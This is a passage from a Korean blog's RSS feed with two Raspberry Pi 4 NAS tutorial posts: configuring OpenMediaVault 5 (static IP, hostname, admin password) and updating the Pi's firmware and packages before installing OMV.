&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;&lt;u&gt;좌측 네비게이션 &amp;gt; 네트워크 &amp;gt; 인터페이스 &amp;gt; eth0 더블 클릭&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;- 설치 도중 문제가 발생하여 &lt;u&gt;&lt;b&gt;eth0가 없을 수도 있습니다.&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;&amp;nbsp; &lt;u&gt;&lt;b&gt;추가해서 잡아주면 됩니다.&lt;/b&gt;&lt;/u&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;700&quot; data-origin-height=&quot;541&quot; width=&quot;500&quot; height=&quot;386&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/xMBNt/btq91ppRR8N/O9bhx58YC8CWY9RRYI8ppK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/xMBNt/btq91ppRR8N/O9bhx58YC8CWY9RRYI8ppK/img.png&quot; data-alt=&quot;eth0 더블 클릭&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/xMBNt/btq91ppRR8N/O9bhx58YC8CWY9RRYI8ppK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FxMBNt%2Fbtq91ppRR8N%2FO9bhx58YC8CWY9RRYI8ppK%2Fimg.png&quot; data-origin-width=&quot;700&quot; data-origin-height=&quot;541&quot; width=&quot;500&quot; height=&quot;386&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;eth0 더블 클릭&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;집 네트워크와&lt;br /&gt;본인의 생각대로&lt;br /&gt;설정해주시면 됩니다.&lt;br /&gt;&lt;br /&gt;DNS 주소의 경우&lt;br /&gt;저는 보통&lt;br /&gt;집 인터넷 통신사의&lt;br /&gt;DNS 서버를 사용합니다.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;700&quot; data-origin-height=&quot;921&quot; data-filename=&quot;이미지 36.png&quot; width=&quot;500&quot; height=&quot;658&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/4bXcC/btq9Y40P5ip/fme5R7Diw56j1mKg2Mp6Y0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/4bXcC/btq9Y40P5ip/fme5R7Diw56j1mKg2Mp6Y0/img.png&quot; data-alt=&quot;고정 IP 설정&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/4bXcC/btq9Y40P5ip/fme5R7Diw56j1mKg2Mp6Y0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F4bXcC%2Fbtq9Y40P5ip%2Ffme5R7Diw56j1mKg2Mp6Y0%2Fimg.png&quot; data-origin-width=&quot;700&quot; data-origin-height=&quot;921&quot; data-filename=&quot;이미지 36.png&quot; width=&quot;500&quot; height=&quot;658&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;고정 IP 설정&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border-bottom: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;호스트 이름&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;굳이 설정할 필요는 없으나,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정확한 식별을 위해 설정했습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;&lt;u&gt;좌측 네비게이션 &amp;gt; 네트워크 &amp;gt; 일반 &amp;gt; 호스트 이름 작성 &amp;gt; 저장&lt;/u&gt;&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;700&quot; data-origin-height=&quot;516&quot; width=&quot;500&quot; height=&quot;369&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/clGVTe/btq93n5V94s/zTmadEtKArXUF5XDVZcDc0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/clGVTe/btq93n5V94s/zTmadEtKArXUF5XDVZcDc0/img.png&quot; data-alt=&quot;호스트 이름 설정&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/clGVTe/btq93n5V94s/zTmadEtKArXUF5XDVZcDc0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FclGVTe%2Fbtq93n5V94s%2FzTmadEtKArXUF5XDVZcDc0%2Fimg.png&quot; data-origin-width=&quot;700&quot; data-origin-height=&quot;516&quot; width=&quot;500&quot; height=&quot;369&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;호스트 이름 설정&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;OMV는 설정할 때마다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;적용하라고 난리...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기다려도 안끝나니&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그냥 새탭열어서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다른 작업하면 됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;700&quot; data-origin-height=&quot;455&quot; width=&quot;500&quot; height=&quot;325&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/WX3F3/btq9VkQBz6z/kgz7KPjCPHwUa6mII91sn0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/WX3F3/btq9VkQBz6z/kgz7KPjCPHwUa6mII91sn0/img.png&quot; data-alt=&quot;설정 적용 중&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/WX3F3/btq9VkQBz6z/kgz7KPjCPHwUa6mII91sn0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FWX3F3%2Fbtq9VkQBz6z%2Fkgz7KPjCPHwUa6mII91sn0%2Fimg.png&quot; data-origin-width=&quot;700&quot; data-origin-height=&quot;455&quot; width=&quot;500&quot; height=&quot;325&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;설정 적용 중&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border-bottom: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;관리자 암호&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기본 비밀번호를&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;변경해야합니다.&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;&lt;u&gt;좌측 네비게이션 &amp;gt; 일반 설정 &amp;gt; 웹 관리자 암호 &amp;gt; 암호 작성 &amp;gt; 저장&lt;/u&gt;&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;700&quot; data-origin-height=&quot;459&quot; width=&quot;500&quot; height=&quot;328&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kwHvm/btq9VjjXGVe/eUKgKIglJ6mECcBurI2WxK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kwHvm/btq9VjjXGVe/eUKgKIglJ6mECcBurI2WxK/img.png&quot; data-alt=&quot;관리자 암호 설정&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kwHvm/btq9VjjXGVe/eUKgKIglJ6mECcBurI2WxK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkwHvm%2Fbtq9VjjXGVe%2FeUKgKIglJ6mECcBurI2WxK%2Fimg.png&quot; data-origin-width=&quot;700&quot; data-origin-height=&quot;459&quot; width=&quot;500&quot; height=&quot;328&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;관리자 암호 설정&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border-bottom: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;기본 설정은 끝&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음 부터는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;본격적으로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;데이터 서버를&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만드는 과정입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/116&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2020.12.13 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS 설치 1] 모니터 없이 Raspberry Pi OS( 구 라즈비안, Raspbian) 설치&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/140&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.19 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 1-1. 기본 세팅&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/141&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.19 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 1-2. 계정 변경&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/142&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 2. 업데이트 및 OMV 5 설치&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/143&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 3. OMV 5 설정(IP, 호스트네임, 관리자 암호)&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/144&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 4-1. 외장하드 포맷&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/145&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 4-2. 외장하드 마운트 및 자동 마운트&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/146&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 5. Docker, Portainer 설치&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/147&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 6-1. 토렌트: transmission 설치&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/148&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.21 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 6-2. 토렌트: transmission 설정&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>NAS/Raspberry Pi</category>
      <category>docker</category>
      <category>media server</category>
      <category>Nas</category>
      <category>omv</category>
      <category>PORTAINER</category>
      <category>raspberry pi</category>
      <category>라즈베리파이</category>
      <category>미디어 서버</category>
      <category>홈 스트리밍</category>
      <author>루딘이</author>
      <guid isPermaLink="true">https://chmodi.tistory.com/143</guid>
      <comments>https://chmodi.tistory.com/143#entry143comment</comments>
      <pubDate>Tue, 20 Jul 2021 02:22:20 +0900</pubDate>
    </item>
    <item>
      <title>[라즈베리파이4 NAS - 홈 스트리밍] 2. 업데이트 및 OMV 5 설치</title>
      <link>https://chmodi.tistory.com/142</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;라즈베리파이를 우선 업데이트하고,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후에 OMV5를 설치합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기서 하는 설치들은&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;모두 시간이&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;걸립니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border-bottom: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;라즈베리파이 업데이트&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;명령어는 간단하지만&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;꽤 오래걸리는 작업입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;u&gt;&lt;b&gt;$ echo &quot;y&quot; | sudo rpi-update&lt;br /&gt;$ reboot&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;$ sudo apt update &amp;amp;&amp;amp; sudo apt full-upgrade -y ; sudo apt autoremove -y ; sudo apt autoclean -y&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;&lt;u&gt;&lt;/u&gt;&lt;u&gt;&lt;/u&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;라즈베리파이 펌웨어 업데이트&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;남는 시간이 나오는 데,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;0.5 기가랜인 우리집 기준&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3분 정도 소요됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(다운로드만)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;654&quot; data-origin-height=&quot;422&quot; data-filename=&quot;이미지 22.png&quot; width=&quot;500&quot; height=&quot;323&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/CU5GR/btq9R4AFfzO/H4YIxeGxNY3okGcyXzQPY1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/CU5GR/btq9R4AFfzO/H4YIxeGxNY3okGcyXzQPY1/img.png&quot; data-alt=&quot;펌웨어 업데이트&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/CU5GR/btq9R4AFfzO/H4YIxeGxNY3okGcyXzQPY1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCU5GR%2Fbtq9R4AFfzO%2FH4YIxeGxNY3okGcyXzQPY1%2Fimg.png&quot; data-origin-width=&quot;654&quot; data-origin-height=&quot;422&quot; data-filename=&quot;이미지 22.png&quot; width=&quot;500&quot; height=&quot;323&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;펌웨어 업데이트&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;완료된 후에는 재부팅을 해줍니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;650&quot; data-origin-height=&quot;352&quot; data-filename=&quot;이미지 24.png&quot; width=&quot;500&quot; height=&quot;271&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/stbZB/btq91pce3QI/mokCwnZLxSgBmusbp3B54K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/stbZB/btq91pce3QI/mokCwnZLxSgBmusbp3B54K/img.png&quot; data-alt=&quot;reboot&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/stbZB/btq91pce3QI/mokCwnZLxSgBmusbp3B54K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FstbZB%2Fbtq91pce3QI%2FmokCwnZLxSgBmusbp3B54K%2Fimg.png&quot; data-origin-width=&quot;650&quot; data-origin-height=&quot;352&quot; data-filename=&quot;이미지 24.png&quot; width=&quot;500&quot; height=&quot;271&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;reboot&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;라즈베리파이 패키지 업데이트&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;꽤 오래 걸립니다....&lt;br /&gt;(45분?)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;652&quot; data-origin-height=&quot;485&quot; data-filename=&quot;이미지 27.png&quot; width=&quot;500&quot; height=&quot;372&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/mFjtu/btq91MSCQQC/1f79KibHF5VZZ7YMOK6nV0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/mFjtu/btq91MSCQQC/1f79KibHF5VZZ7YMOK6nV0/img.png&quot; data-alt=&quot;설치된 패키지 업데이트&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/mFjtu/btq91MSCQQC/1f79KibHF5VZZ7YMOK6nV0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FmFjtu%2Fbtq91MSCQQC%2F1f79KibHF5VZZ7YMOK6nV0%2Fimg.png&quot; data-origin-width=&quot;652&quot; data-origin-height=&quot;485&quot; data-filename=&quot;이미지 27.png&quot; width=&quot;500&quot; height=&quot;372&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;설치된 패키지 업데이트&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border-bottom: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;OMV(Open Media Vault) 란?&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
